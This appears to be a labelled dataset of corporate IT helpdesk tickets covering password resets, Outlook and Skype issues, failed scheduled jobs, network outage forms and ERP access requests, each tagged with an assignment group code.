correct aerp.",GRP_15 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"passwort geoyhurg chriuimjiann + +received from: nsoikcyf.jhybqael@gmail.com + +bitte schalten sie meine passwörter frei. +plase unlook my password +chrithysgd + + + +mit freundlichen grüßen / best ",GRP_0 +"external recipient is unable to share screen with internal company employees during pstn conference call external recipient is unable to share screen with internal company employees during pstn conference call_x000D_ +_x000D_ +error message: all company users saw a message that read something like ""presentation failed since the presenter has left the meeting"" even though he was still in the meeting. we agreed to end the meeting once and re-join but the issue didn't go away._x000D_ +_x000D_ +",GRP_26 +account unlock account unlock,GRP_0 +general query general query ,GRP_0 +"job bkbackup_tool_HostName_770_prod_inc failed in job_scheduler at: 10/07/2016 11:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_770_prod_inc failed in job_scheduler at: 10/07/2016 11:48:00",GRP_8 +"need converion tool : export a pdf into excel. +summary:hello, +i saw on pdf options that it's possible to export a pdf into excel. +do you know who can i contact in company to get this conversion tool? +",GRP_33 +browser issue : etime: flash player issue/addin issue browser issue : etime: flash player issue/addin issue ,GRP_0 +unable to sign in to skype unable to sign in to skype,GRP_0 +"erp changing order qty issue please look at sale order 36112082 csr zektaqof cgxlqtiz released order from workflow and the qty went from 1pc to 12,047,279pcs showing csr changed the qty csr did not change qty please review possible issue maybe wf batch issue",GRP_13 +uacyltoe hxgaycze uacyltoe hxgaycze,GRP_12 +ticket update inplant_867508 ticket update inplant_867508,GRP_0 +excel keeps exiting excel keeps exiting,GRP_0 +unable to update mileage details. site not loading. unable to update mileage details. site not loading.,GRP_0 +erp SID_1 password reset erp SID_1 password reset,GRP_0 +"skype meetings _x000D_ +_x000D_ +received from: dlougnqw.jiuybxew@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +can you please assist me with getting the skype meetings back up and running for me? it came up before but i no longer have the option._x000D_ +_x000D_ +",GRP_0 +skype issue ; personal certificate error skype issue ; personal certificate error ,GRP_0 +"pos data update - september 2016 +from: navdgtya kuhyakose +sent: friday, october 07, 2016 7:37 pm +to: htsnaodb adjtmlzn +cc: petgvwch zevpkogu; khfgharla mwdjuli; vthuzanc fqdgotvx; rzucjgvp ioqjgmah; nawkpdtx gwcvmbhn +subject: pos - septemer '16 + +hi karghyuen, + +i have compared the pos data between crm and bi for september '16 and the data are in sync. +i will run the programdnty on 10/10 to update the table zcp002. + +crm bi +count of mandt sum of toengineering_tool sum of counter sum of total distributor cost + 225 82,043.48 225 82,043.48 + + +",GRP_15 +unable to access vpn unable to access vpn,GRP_0 +hr_tool etime issue hr_tool etime issue ,GRP_0 +"error : windows 7 build 7601 this copy of windows is not genuine. error : windows 7 build 7601 this copy of windows is not genuine. +for next 2 weeks he will be in usa. +contact : ",GRP_3 +audio issue in skype audio issue in skype,GRP_0 +"please allow access for using printer in india office. please allow access for using printer in india office._x000D_ +_x000D_ +please refer the attachment ",GRP_19 +"please to provide access to solman environment - user vvamrtryot. please to provide access to solman environment, solman SID_51 (production) for the user vvamrtryot._x000D_ +he need this access to open requests for theses charms 8111118319 and 8111118310._x000D_ +",GRP_2 +engineering_tool installation engineering_tool installation ,GRP_0 +outlook not opening outlook not opening,GRP_0 +blank call // loud noise // gso blank call // loud noise // gso,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +unable to see workflow in erp SID_34 unable to see workflow in erp SID_34,GRP_13 +anleitung fuer password_management_tool anleitung fuer password_management_tool,GRP_0 +"can't access to hr_tool etime + +received from: zywoxerf.paqxtrfk@gmail.com + +dear help desk: +i can't access to hr_tool etime, see below: + +error 500! + +the page you are trying to reach is not available. an internal server error was raised. + + +x. jdamieul fandyhgg + +senior staff engineer +zywoxerf.paqxtrfk@gmail.com +",GRP_0 +wifi not working : webpages not loading wifi not working : webpages not loading ,GRP_0 +"delay in presenting the cal on the polycom phone when a call comes in, its first presented on the computer screen and only a few sec later the phone starts ringing._x000D_ +the time between is around 5 sec.",GRP_7 +"user's manager's manager pointing wrongly to vtykrubi whsipqno examples given: shesyhur reports to davidthd and davidthd should be reporting to chukhyt and not ron. like wise, managing_director should be reporting. +this only happened to records being updated today. see attached screenshots.",GRP_40 +call from vendor about crm call from vendor about crm,GRP_0 +uacyltoe hxgaycze uacyltoe hxgaycze,GRP_36 +handscanner an pc evhw8114202 ohne funktion -> rep. oder ersetzen; handscanner an pc evhw8114202 ohne funktion -> rep. oder ersetzen (pc in halle c bei r208 erp terminal),GRP_33 +"i can't get logged into outlook. the problem started thursday, october 6 around 430 pm. reichlhdyl +usa +skype is working. +",GRP_0 +"erp access issue - not authorized for transaction vf02 in SID_1 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1_x000D_ +_x000D_ +enter user id of user having the issue: hellej_x000D_ +_x000D_ +transaction code(s) the user needs or was working with: vf02_x000D_ +_x000D_ +describe the issue: i'm not authorized for transaction vf02 in SID_1. please find attached the error message._x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user: maryhtutina bauuyternfeyt",GRP_2 +please reset the password. please reset the password.,GRP_7 +"job Job_488 failed in job_scheduler at: 10/07/2016 06:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_488 failed in job_scheduler at: 10/07/2016 06:59:00",GRP_8 +pc defekt empw 8111616 01/14 defekt. code: 0x000000ed blue screen,GRP_33 +"crm buttons i have recently upgraded our calendar / outlook to the crm software upgrade. i do not have the ""track"" and ""set regarding"" toolbar selections as seen in the snap shot below. so the install did not complete. i need the server side synchronization of incoming emails corrected and the crm application permissions for my 2in1. if that is not correct and you believe it to be another issue let me know. _x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +this is not a phone issue. thus is a notebook or 2in1 issue. please review the snap shots i sent in and advise._x000D_ +",GRP_22 +"network outage:russia, engineering_toolkuznetsk site is down at 6:41 am et on 10/07. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___________6:41 am et on 10/07. ___________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___na___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _______na_ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___na________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _____na__ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_2049a failed in job_scheduler at: 10/07/2016 06:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2049a failed in job_scheduler at: 10/07/2016 06:05:00",GRP_6 +install drucker we17\ewew8323647\hnyeajrw ctxjsolz install drucker we17\ewew8323647\hnyeajrw ctxjsolz,GRP_24 +install drucker we17\ewew8323646\lxfnwyuv bqmjyprz install drucker we17\ewew8323646\lxfnwyuv bqmjyprz,GRP_24 +"printing language sa38 (reporting rfumsv00) please complete all required questions below. +if not, it will be returned back to the gsc / requester to provide required information + + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart. + + • printer name / make - model? kq02 (hp laserjet p3005x) + + • detailed description of the problem ? wrong carahcters printing reporting rfumsv00. error message ""pjl enter language=pcl"" + + • type of documents not printing? sa38 - reporting rfumsv00 - tax on sls/purch.advanced return + + • what system or application being used at time of the problem? erp + + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? it prints, but with wrong language (characters) + + • if erp system, which system? SID_34 + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? no, i tried in another erp printer, issue persits the same. + what printer can it be rerouted too? not applicable + + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket. (file attached) + +sónia pereira +accounting and report analyst, finance +ojhiaubp.lovgirtm@gmail.com +",GRP_33 +kindly install software paint shop and winzip kindly install software paint shop and winzip,GRP_28 +install drucker we17 \oziflwma nhgvmqdl install drucker we17 \oziflwma nhgvmqdl,GRP_24 +"benötige eine zahlenblock-tastatur für linke hand. hallo . + +benötige eine zahlenblock-tastatur für linke hand. +",GRP_24 +"EU_tool läuft sehr langsam im werk germany. rückmeldungen können nicht mehr eingegeben werden (laufzeitfehler). aktuell können keine rückmeldungen in EU_tool eingegeben werden. fehler ""laufzeitfehler"".",GRP_25 +"stocktransfer goes not mm 5112324 _x000D_ +_x000D_ +received from: mgahlpwx.jwtfpaxh@gmail.com_x000D_ +_x000D_ +hello at all_x000D_ +_x000D_ +ist´s not possible to create the delivery note_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d2208b.07571691]_x000D_ +_x000D_ +best ",GRP_6 +"job Job_2063a failed in job_scheduler at: 10/07/2016 05:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063a failed in job_scheduler at: 10/07/2016 05:08:00",GRP_6 +"ethics webportal login issue not able login to ethics website, please find the screenshot for the same and kindly help regarding this issue, ",GRP_0 +"pulverleitstand and chargenverwaltung doesn't work corectly pulverleitstand and chargenverwaltung doesn't work correctly. either it runs very slow or it crashes down. there are error messages all the time._x000D_ +EU_tool also runs very slow.",GRP_25 +"job Job_593 failed in job_scheduler at: 10/07/2016 04:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/07/2016 04:32:00",GRP_8 +"job Job_512 failed in job_scheduler at: 10/07/2016 04:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_512 failed in job_scheduler at: 10/07/2016 04:14:00",GRP_8 +automatische datenaufbereitung qa geht nicht automatische datenaufbereitung geht nicht,GRP_33 +account locked in ad account locked in ad,GRP_0 +"circuit outage:germany: company-eu-deu-erkheim-dmvpn-2821-rtr01 is down since 2:59:20 am et on 10/7/2016. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _______no__ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______2:59:20 am et on 10/7/2016 ________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _no______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _no______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"outlook is not working _x000D_ +_x000D_ +received from: krilnmcs.chpkeyqb@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +_x000D_ +yesterday i started outlook in the morning._x000D_ +_x000D_ +_x000D_ +as every morning it started very quick but when i tryed to open a mail i received a white screen. i tried several new computer starts but nothing changed._x000D_ +_x000D_ +_x000D_ +so i decided to work via collaboration_platform and i'm doing this right now as well because today i had the same negative result with outlook (start was quick and that's it, no chance to read an email or write one)._x000D_ +_x000D_ +_x000D_ +please have alook into this matheywter because working via collaboration_platform i sless comfortable and slowing down._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"dba team the imwveudk mykcourx processor has stopped again, please restart! dba team. the job processor at the engg application has stopped again. please restart as soon as possible. + +dmqxwkfr olmwqzpu +",GRP_58 +plant plant_197/ EU_tool system is running very slowly/ big problems to enter the productions plans plant plant_197/ EU_tool system is running very slowly/ big problems to enter the productions plans,GRP_25 +abend job bkwin_tax_interface_qa_daily job name:bkwin_tax_interface_qa_daily,GRP_8 +"purchasing, online katalog de-technischer handel funkioniert nicht purchasing, online katalog de-technischer handel funkioniert nicht",GRP_0 +"routing fix in germany please add a static route on the lan switch in germany to ensure access to the shop floor network is not disrupted during downtime of the vpn router._x000D_ +_x000D_ +company-eu-deu-germany-emsw27-3750e-core-sw01#_x000D_ +conf t_x000D_ +ip route 10.16.56.0 255.255.252.0 10.16.32.40_x000D_ +exit_x000D_ +copy running-config startup-config_x000D_ +_x000D_ +",GRP_4 +"need access + +received from: tcbonyes.gpfacron@gmail.com + +hello, +i need an access to email address to modify as and when required. please provide me the access for below mentioned mailing address….. + +k-bnthygl-pdu6-hdjm-er +k-bhrtty-pdlc4-yhhm-er + + + +with best ",GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"hrt archive jobs are failing hrt archive jobs are failing with error _x000D_ +ora-28000: the account is locked_x000D_ +br0310w connect to database instance hrt failed",GRP_1 +"job bkwin_tax_interface_dev_daily failed in job_scheduler at: 10/06/2016 22:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_tax_interface_dev_daily failed in job_scheduler at: 10/06/2016 22:32:00",GRP_8 +"job Job_549 failed in job_scheduler at: 10/06/2016 20:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 10/06/2016 20:57:00",GRP_8 +ticket update on inplant_867391 ticket update on inplant_867391,GRP_0 +"i cannot extract finance_app data - pls resolve immediately + +received from: uagqromi.sqgtkmci@gmail.com + +[cid:image001.png@01d22075.f8d4be00] + +uagqromi sqgtkmci +controller +uagqromi.sqgtkmci@gmail.com + +< + +[cid:image002.png@01d22075.f8d4be00] + + + +本通信は記載された人物のみを対象として使用されるものとし、特権的かつ機密情報を含み、適用される法律に基づいた情報開示から除外されるものとします。正当な受取人以外のいかなる第三者による本通信の配布、流通、再販は固く禁じられています。また本通信が誤って送信された場合は、送信者に連絡の上、本通信を削除してください。 +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_55 +unable to install crm for outlook unable to install crm for outlook,GRP_0 +ticket update on inplant_867380 ticket update on inplant_867380,GRP_0 +"job Job_2881 failed in job_scheduler at: 10/06/2016 18:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2881 failed in job_scheduler at: 10/06/2016 18:06:00",GRP_13 +outlook programdnty takes about 30 min to load outlook programdnty takes about 30 min to load,GRP_0 +password reset to login to hub password reset to login to hub ,GRP_0 +"need access to folder _x000D_ +_x000D_ +received from: umdyvbxo.qwzstijr@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i need access to quality folder in lan-d2 drive of usa._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_12 +engineering tool page not opening engineering tool page not opening,GRP_0 +analysis add-in keeps getting removed analysis add-in keeps getting removed,GRP_0 +account locked out : ad account locked out : ad,GRP_0 +"sales order 36112960 generated a 10/13 delivery date despite the order being markhtyed for 2nd day air.why? nibaotpy vmxathog + + +",GRP_13 +erp SID_1 account unlock erp SID_1 account unlock,GRP_0 +"circuit outage :usa-dmvpn-1811-rtr01 is down since 10/6/2016 1:43 pm. primary is up. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____slo 60 mins_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________10/6/2016 1:43 pm._____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____no____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"please can you unlock the user vvamrtryot on the environment SID_21 again? please can you unlock the user vvamrtryot on the environment SID_21 again?_x000D_ +seems is still locked there, only in SID_21, for all other everything is fine.",GRP_0 +"request: team viewer _x000D_ +_x000D_ +received from: sthyuraj.sektyhar@company.com_x000D_ +_x000D_ +need to access a pc that does not have skype_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_19 +hpqc uacyltoe hxgaycze installation hpqc uacyltoe hxgaycze installation ,GRP_0 +change in offline cache mode in outlook to 12 months change in offline cache mode in outlook to 12 months,GRP_0 +erp closes when opening attachment in md04 erp closes when opening attachment in md04,GRP_0 +"purchasing purchasing-add user to the purchasingupstreamsso ad group when i log in to purchasing and choose company catalog, the window never loads up.",GRP_29 +erp SID_1 : password reset erp SID_1 : password reset ,GRP_0 +ms dynamics not synched in outlook ms dynamics not synched in outlook,GRP_0 +issue with outlook profile and skype for business ugyothfz ugrmkdhx ambals i was having issues opening outlook and skype for business and reached out to pc services to investigate on this issue. ,GRP_19 +unable to login to erp and distributor_tool unable to login to erp and distributor_tool,GRP_0 +ticket update : inplant_867204 ticket update : inplant_867204,GRP_0 +"4908206193/00001 dn required by 2 oclock est _x000D_ +_x000D_ +received from: kaguhxwo.uoyipxqg@gmail.com_x000D_ +_x000D_ +it team,_x000D_ +please create dn for 5019317204/00001 warehouse today before they cut off time. ",GRP_6 +installation of skype installation of skype,GRP_0 +account locked account locked,GRP_0 +unable to log in to erp SID_34 unable to log in to erp SID_34,GRP_0 +"nda emails are not getting sent ramdnty, i think the workflows need looked at on the nda,, there are several ttemplates not working. as a note, during the outage on tuesday several workflows lost their settings. i had to redo a few. that may be the case with the nda/",GRP_16 +"job Job_1387 failed in job_scheduler at: 10/06/2016 11:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1387 failed in job_scheduler at: 10/06/2016 11:53:00",GRP_9 +adding user dinthyesh to distribution group : -ethyxekirty ; -etyhumpdil adding user dinthyesh to distribution group : -exekirty ; -empkirty ,GRP_0 +software to read the text from the scanned pages. software to read the text from the scanned pages.,GRP_0 +unable to view subject option in outlook unable to view subject option in outlook,GRP_0 +blank call blank call,GRP_0 +skype call join ends up in bad call or blanks out during multiple attempts skype call join ends up in bad call or blanks out during multiple attempts,GRP_26 +"no login options in erp after netweaver installing it is not possible to log in to erp 740. +user name: nagdyiyst",GRP_0 +"passwort geoyhurg chriuimjiann _x000D_ +_x000D_ +received from: nsoikcyf.jhybqael@gmail.com_x000D_ +_x000D_ +bitte passwort und acount freischalten_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +sykpe does not work skype does not log me on when i turn on the computer. Phone,GRP_0 +user account not in validity date. unable to login to erp SID_1. error: user account not in validity date.,GRP_2 +"issues _x000D_ +_x000D_ +received from: lkfzibrx.ljnabpgx@gmail.com_x000D_ +_x000D_ +hello it team_x000D_ +_x000D_ +for some reason when i go to some of the folders i got the message belwo i cannot open some folder it appears the message below?_x000D_ +_x000D_ +i will appreciate your support_x000D_ +_x000D_ +",GRP_0 +"collaboration_platform table for crm + +received from: troxyekl.lzdvgwut@gmail.com + +hello, + +please add user delthybid (jeknosml gkcoltsy) to the collaboration_platform table for crm. +",GRP_0 +account is locked out : ad account account is locked out : ad account ,GRP_0 +not able to print from hr_tool not able to print from hr_tool,GRP_0 +reset passwords for gjisfonb odwfhmze using password_management_tool password reset. the,GRP_17 +"analysis for microsoft excel is no longer available analysis for microsoft excel is no longer available._x000D_ +attached you can find the note.",GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?):SID_37 + +enter user id of user having the issue: hohlbfgtu + +: + +describe the issue: + +unlock password logon +",GRP_2 +"vpn access to computer name: awyl7217972 +summary:need vpn provision to access m drive from when i am away from office.",GRP_34 +"gflewxmn qnxhoryg (term date 8/31/2016) - network folder access i never received access to tghkris wickhamtf's person folder on the network drive - i did get access to her collaboration_platform drive, but not her network folder. i know her network folder is where she saved a lot of information - i really need to have access to this folder to access her documents. also, i'm not sure why the communications i'm receiving regarding her collaboration_platform collaboration_platform are in german. + + +die endgültige löschung des collaboration_platform for business von gflewxmn qnxhoryg ist in 7 tagen geplant. sie haben immer noch zeit, um wichtige dokumente an einen anderen speicherort zu kopieren. nach 7 tagen wird das collaboration_platform for business von gflewxmn qnxhoryg endgültig gelöscht. wechseln sie zum collaboration_platform for business von gflewxmn qnxhoryg unter """,GRP_12 +probleme mit com port \maschine stöhrmann \eaodcgsw trmzwbyc probleme mit com port \maschine stöhrmann \eaodcgsw trmzwbyc,GRP_24 +"cannot access workflow in collaboration_platform designer 2013 i recently received a new machine for work and downloaded collaboration_platform designer 2013 to access my workflow for my product move system. after linking the site, i tried to open the workflow. it gives me an error saying ""cannot access, restart designer and try again."" i have tried restarting multiple times. please assist. ",GRP_16 +"unable to share screen name:jadqhguy fvwhyenp +language: +browser:microsoft internet explorer +email:jadqhguy.fvwhyenp@gmail.com +customer number: +telephone: +summary:i am unable to share my screen on skype",GRP_0 +"cannot add new customer in engineering_tool application _x000D_ +_x000D_ +received from: juxitrbf.vebckrgh@gmail.com_x000D_ +_x000D_ +dear company help,_x000D_ +why i cannot adding new customer in engineering_tool application? this happened after i downloading new update application._x000D_ +_x000D_ +[cid:image003.jpg@01d2200e.6dd40c50]_x000D_ +_x000D_ +",GRP_25 +"transfer pricing - sto 4908097793 inter-company sto 5019108804 is not computing a transfer price. is it because the material is priced at 0.37 euro per 100 pc and the order is only for 1 pc? should they change the order to 100 pc?_x000D_ +_x000D_ +",GRP_29 +"unable to make changes in expense report name: xmeytziq dcgwuvfk +browser: microsoft internet explorer +email: xmeytziq.dcgwuvfk@gmail.com +telephone: +summary: earlier in the week i was trying to put my expense report in but it will not let me change the cost center there was suppose to be a ticket but in for this and i was just wondering how that was going i have not received any notifications on this issue. ",GRP_44 +"passwort geoyhurg chriuimjiann _x000D_ +_x000D_ +received from: nsoikcyf.jhybqael@gmail.com_x000D_ +_x000D_ +bitte schalten sie meine passwörter frei_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +configair server not available in production (SID_34). error message: 503 service not available configair server not available in production (SID_34). error message: 503 service not available,GRP_14 +engineering_tool and distributor_tool error. engineering_tool and distributor_tool error. unable to see customer details.,GRP_0 +frequent account lock out : wothyehre frequent account lock out : wothyehre,GRP_0 +"my telephony_software will not allow me to pick up a call or make a call my telephony_software will not allow me to pick up a call or make a call + +phone: ",GRP_7 +"why 2 delivery notes (9169471029) were created for total 10 pcs from plant_105 to plant_322, when on plant_105 we have customer order hello, could you please check why 2 delivery notes (9169471029) were created for total 10 pcs from plant_105 to plant_322, when on plant_105 we have customer order 35906675 for 5 pcs and no order on plant_322. we were waiting for this material and once it appeared on plant_105 stock these 2 dn for company europe gmbh - plant_322 were created. i had to ask plant_105 team for cancelation and creation dn for our order. many ",GRP_18 +upload of monthly reports to SID_59 hana tables zmc* upload of monthly reports to SID_59 hana tables zmc*,GRP_9 +query about ticket status.: ticket_no1556096 : antjuyhony usa ticket_no1556096 : antjuyhony usa,GRP_0 +"wifi not working in conference room of usa oh ... wifi not working in conference room of usa oh ..._x000D_ +",GRP_0 +anlagen pc an der hochdrucksinteranlage hip 10 startet nicht! anlagen pc an der hochdrucksinteranlage hip 10 startet nicht!,GRP_33 +vip 2 // upgrade to ie 11 vip 2 // upgrade to ie 11,GRP_0 +"not able to see emails in the outlook not able to see emails in the outlook +",GRP_26 +"kpm hours i have punched 6hrs on tuesday i.e. on 04/10/16 in my engineering tool but it is showing only 4hrs in my kpm._x000D_ +",GRP_25 +"not able to access bobj via ie and some tabs are missing when i open in chrome user wasn't able to access the report via ie. hence i installed chrome to access the reports via myportal.company.com_x000D_ +after a while the user wasn't able to open the reports via chrome as well because some tabs dierppeared. _x000D_ +and the user is not able to connect to vpn via chrome._x000D_ +_x000D_ +this is not related to business analytics tech team (erp bi/bw). this is something related to the browser setting. ",GRP_0 +"job bkwin_HostName_768_inc failed in job_scheduler at: 10/06/2016 07:27:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 10/06/2016 07:27:00",GRP_5 +"latitude e5440 battery issue latitude e5440 battery issue. battery light is constantly blinking red and not charging. user has to be constantly connected to the ac adapter. might require a battery replacement. + +phone:",GRP_3 +"network outage : south amerirtca - (rrc) site is hard down is down since 6:11 am on 10/6 et what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______ 6:11 am on 10/6 et_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __no______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"no bobj acces name:maaryuyten +language: +browser:microsoft internet explorer +email:jvxtfhkg.heptuizn@gmail.com +customer number: +telephone: +summary:no bobj acces +_______________________ + +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +maaryuyten + hi, i can't log in to bobj this is the error message i get +dwfiykeo argtxmvcumar3 + hello +maaryuyten + io error error 2032 +dwfiykeo argtxmvcumar3 + to get a better understanding of your issue i would like to take a look at your computer through teamviewer. please click on +maaryuyten + id 426 816 357 pw 3276 +maaryuyten + sre you still there? +dwfiykeo argtxmvcumar3 + yes +maaryuyten + see the issie +dwfiykeo argtxmvcumar3 + let me take screen shot of it +dwfiykeo argtxmvcumar3 + i will assign to erp bw/bi, they will look into it +",GRP_9 +probleme mit gehaltsnachweis drucken \eaodcgsw trmzwbyc probleme mit gehaltsnachweis drucken \eaodcgsw trmzwbyc,GRP_24 +uacyltoe hxgayczeing the email notification uacyltoe hxgayczeing the email notification,GRP_36 +probleme mit wlan laptop \weszfyok fbadnjhu probleme mit wlan laptop \weszfyok fbadnjhu,GRP_24 +account unlock we_wu160 account unlock we_wu160,GRP_0 +"crm - screen - advanced find- create view _x000D_ +_x000D_ +received from: ctzykflo.evzbhgru@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +when i select in crm „advanced find"" (1.), the next screen is scrolled (2.)._x000D_ +_x000D_ +1._x000D_ +_x000D_ +[cid:image003.jpg@01SID_35fca.166c0b00]_x000D_ +_x000D_ +2._x000D_ +_x000D_ +[cid:image004.png@01SID_35fca.166c0b00]_x000D_ +_x000D_ +_x000D_ +the symbols are moved into the query. it is nearly impossible for me to create a view._x000D_ +_x000D_ +",GRP_0 +infopath is not working infopath is not working ,GRP_0 +probleme mit we_wu160 \jionmpsf wnkpzcmv probleme mit we_wu160 \jionmpsf wnkpzcmv,GRP_24 +"monitor vom rfa-analysegerät defekt hallo , + +kannst du mal bei uns im labor vorbei schauen, da ist der monitor vom rfa-analysegerät defekt. + +rclqfpgt tbnovxdp ist der ansprechpartner. + +",GRP_24 +"problem while changing the password _x000D_ +_x000D_ +received from: srqyfjxz.lnagtjzi@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +while trying to change the password on _x000D_ +_x000D_ +[cid:image001.png@01SID_35fe2.0f41b4c0]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"file shatryung help required. _x000D_ +_x000D_ +received from: cqargubj.krdxbfqh@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i need to send a video of machine to our customer on urgent basis. the file size is 36mb. kindly let me know how to send the same._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"issue with adding lean tracker- collaboration_platform issue _x000D_ +_x000D_ +received from: ilbkhgxd.hirsqytd@gmail.com_x000D_ +_x000D_ +help desk_x000D_ +_x000D_ +today i tried to open add lean event tracker link to enter new project details. while doing so i got error message, screen shot is attached for your reference._x000D_ +_x000D_ +[cid:image001.png@01SID_35fde.f914b3d0]_x000D_ +please go through the same & do the needful so that i can enter 